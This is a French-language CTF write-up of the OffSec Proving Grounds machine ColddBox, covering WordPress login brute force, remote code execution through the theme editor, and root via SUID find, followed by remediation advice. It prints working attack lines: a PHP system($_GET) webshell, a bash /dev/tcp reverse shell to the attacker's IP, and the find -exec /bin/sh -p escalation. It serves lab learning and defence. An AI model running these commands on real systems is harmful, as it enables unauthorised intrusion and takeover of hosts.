Aller au contenu
Easy OffSec Proving Grounds Linux

ColddBox

WordPress 5.5.1 sur ColddBox (OffSec PG, Easy) — bruteforce de wp-login à partir d'un nom d'utilisateur laissé dans /hidden/, RCE via l'éditeur de thème, root en un pas via SUID sur /usr/bin/find.

· 8 min de lecture

wordpress·brute-force·rce·suid·gtfobins

Contexte & périmètre

Machine cible : ColddBox — parcours OffSec Proving Grounds, tier Easy. Boîte Linux unique, réseau isolé sur le VPN OffSec.

  • Cible : 192.168.59.239
  • Attaquant : 192.168.49.59 (Kali via OpenVPN)

Reconnaissance web

Un nmap -sC -sV ne remonte qu’un service utile : Apache sur le port 80. On saute donc directement à l’énumération HTTP.

Découverte de contenu

ffuf directory brute force sur la racine avec common.txt
ffuf avec la wordlist common.txt de seclists révèle un WordPress standard et un dossier non standard /hidden/.
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -u http://192.168.59.239/FUZZ

Deux choses intéressantes :

  • Un WordPress complet (/wp-admin, /wp-content, /wp-includes, /wp-login.php, /xmlrpc.php)
  • Un dossier /hidden/ qui n’est pas standard WP → à visiter en premier

Le dossier /hidden/

Contenu de /hidden/ : note interne de Philip à C0ldd
Note interne à destination de C0ldd — un utilisateur du site — mentionnant un changement de mot de passe.

Cadeau du CTF designer : la note révèle deux prénoms (C0ldd, Hugo) et un contexte de “changement de mot de passe”. C0ldd a la tête d’un login WordPress.

La page de login WordPress

Page de connexion WordPress standard
Page /wp-login.php — cible du bruteforce.

Accès initial — bruteforce de wp-login

Confirmation de l’utilisateur

Un login manuel avec C0ldd et n’importe quel mot de passe suffit à confirmer que l’utilisateur existe : WordPress renvoie “le mot de passe est incorrect pour l’utilisateur C0ldd” et non un message générique.

Message d'erreur WordPress confirmant que l'utilisateur C0ldd existe
Erreur bavarde : elle confirme l’existence de C0ldd. On peut brute-forcer sans crainte de fausse piste.

Repérage des paramètres POST

Avant de lancer ffuf en POST, un coup d’œil au Network devtools sur une requête réelle donne les noms exacts des champs (log, pwd, wp-submit) — indispensable pour construire le body.

DevTools Firefox — corps de la requête POST vers wp-login.php
Firefox Network : la requête POST montre les champs à alimenter (log, pwd, wp-submit) et l’URL de redirection en cas de succès (/wp-admin/).

Bruteforce ciblé

Sur une soumission ratée, WordPress renvoie 200 (rend le formulaire). Sur une soumission valide, il renvoie 302 vers /wp-admin/. Je filtre donc sur 302 (-mc 302) — seul le candidat gagnant sortira :

ffuf -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt \
     -X POST \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -d 'log=C0ldd&pwd=FUZZ' \
     -u http://192.168.59.239/wp-login.php \
     -mc 302
ffuf en POST sur wp-login.php trouve le mot de passe 9876543210
Un seul candidat matche le filtre 302 : 9876543210 — mot de passe faible extrêmement classique.

Exploitation — RCE via l’éditeur de thème

Authentifié comme C0ldd (rôle administrator), WordPress offre un chemin RCE bien connu : Appearance → Editor permet à un admin d’éditer n’importe quel fichier PHP du thème actif. J’ajoute une backdoor minimale en tête de 404.php du thème Twenty Fifteen :

<?php system($_GET["cmd"]); ?>
Éditeur de thème WordPress avec system($_GET['cmd']) injecté dans 404.php
Backdoor system($_GET[“cmd”]) insérée en tête du template 404.php. Le fichier est immédiatement sauvegardé côté serveur.

Test de l’exécution

Le template est atteignable directement via son URL statique — pas besoin de provoquer une vraie erreur 404 :

curl -s "http://192.168.59.239/wp-content/themes/twentyfifteen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl sur 404.php?cmd=id renvoie uid=33(www-data)
Exécution confirmée en tant que www-data.

Reverse shell

Listener côté Kali :

netcat listener sur port 4444
Listener netcat sur 4444, prêt à recevoir.

Payload envoyé via curl -G --data-urlencode — laisser curl URL-encoder proprement les caractères spéciaux évite de se battre avec les échappements locaux :

curl -G "http://192.168.59.239/wp-content/themes/twentyfifteen/404.php" \
     --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/192.168.49.59/4444 0>&1"'
curl envoie le payload reverse shell via --data-urlencode
—data-urlencode couplé à -G transmet le paramètre en query string proprement encodé.
Shell inverse reçu en tant que www-data sur ColddBox-Easy
Shell inverse capté : www-data@ColddBox-Easy.

Stabilisation TTY

Pattern classique en 4 étapes :

  1. Spawn d’un pty via python
  2. Export du TERM
  3. Ctrl-Z pour suspendre côté attaquant
  4. stty raw -echo; fg côté Kali, puis synchroniser les dimensions
Séquence de stabilisation TTY : python pty, export TERM, ctrl-Z, stty raw -echo; fg
Enchaînement pour obtenir un shell interactif complet.

Pour éviter que less ou vim s’affichent tronqués, on synchronise les dimensions du pty distant avec celles du terminal local :

stty size côté Kali retourne 48 236
Côté Kali : stty size → à reporter côté cible via stty rows 48 cols 236.
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl-Z côté cible
stty raw -echo; fg               # ← côté Kali
stty rows 48 columns 236         # ← côté cible, dimensions du stty size sur Kali

Élévation de privilèges — SUID sur find

Énumération SUID

find / -type f -perm -4000 2>/dev/null sort une liste presque standard — à l’exception d’un intrus qui n’a rien à faire avec le bit SUID :

Liste des binaires SUID : /usr/bin/find sort du lot
/usr/bin/find avec SUID — anomalie flagrante, tous les autres (su, mount, sudo, passwd, pkexec…) sont attendus.

Vérification GTFOBins

GTFOBins liste précisément trois primitives exploitables sur find en SUID : Shell, File write, File read.

GTFOBins — tags de find : Shell (SUID), File write (SUID), File read (SUID)
Trois abus utilisables — celui qui nous intéresse est Shell.
GTFOBins — payload find . -exec /bin/sh \; -quit
La primitive Shell — attention : cet exemple est l’onglet Unprivileged. Pour un vrai SUID il faut ajouter -p (voir plus bas).

Lecture directe des flags (sans dropper un shell)

Avant même de dropper un shell root, on peut lire n’importe quel fichier protégé en piggybackant sur -exec cat — puisque find tourne EUID root, tout ce qu’elle exécute hérite du privilège :

find /root/proof.txt -exec cat {} \;
# → contenu du fichier (proof.txt hash) lu depuis www-data

C’est la primitive File read de GTFOBins, appliquée sans détour.

Shell root

Pour obtenir un shell interactif root, il faut savoir que bash (comme dash) réinitialise l’EUID à l’UID réel au démarrage — sauf avec le drapeau -p. Sans lui, on récupère un shell… www-data. Payload correct :

find . -exec /bin/sh -p \; -quit
Shell root obtenu via find -exec /bin/sh -p — whoami retourne root
Shell root confirmé : whoamiroot, ls /root liste les deux fichiers, cat /root/proof.txt renvoie le hash (redacted).

Remédiation

Côté WordPress

  • Rate-limit + MFA sur wp-login.php (plugin Limit Login Attempts Reloaded, ou WAF en amont). L’attaque marche parce que le service accepte un débit illimité.

  • Interdire l’édition de fichiers depuis l’admin — une ligne dans wp-config.php neutralise entièrement le vecteur RCE via l’éditeur de thème :

    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);
  • Nettoyer les répertoires “orphelins” comme /hidden/ — un designer prod n’a rien à y laisser traîner, un attaquant lit tout.

  • Politique de mots de passe : 9876543210 est présent dans toutes les leaked-db. Interdire les patterns numériques triviaux au niveau du CMS.

Côté système

  • Retirer le SUID sur /usr/bin/find : chmod u-s /usr/bin/find. Audit périodique via find / -perm -4000 -type f intégré à l’inventaire des exécutables privilégiés.
  • Least privilege : si find avait vraiment besoin d’un accès élevé pour un cas d’usage précis, un sudoers ciblé vaut mieux qu’un SUID global.

Ce que je retiens

  • Le pattern “username laissé dans une page publique + wp-login sans rate-limit” est encore courant sur les vieux WordPress — ffuf en POST filtré par code de retour l’automatise en secondes.
  • L’éditeur de thème WP est une RCE authentifiée triviale — la mitigation DISALLOW_FILE_EDIT est un one-liner et devrait être un défaut d’installation.
  • Le drapeau -p sur un shell SUID est une subtilité qui tue un exploit qui devrait marcher. À mémoriser.
  • curl -G --data-urlencode évite les guerres d’échappement — plus fiable que bricoler avec des quotes imbriquées quand le payload contient >&, /, ".

Outils

  • ffuf
  • curl
  • nc
  • python3
  • gtfobins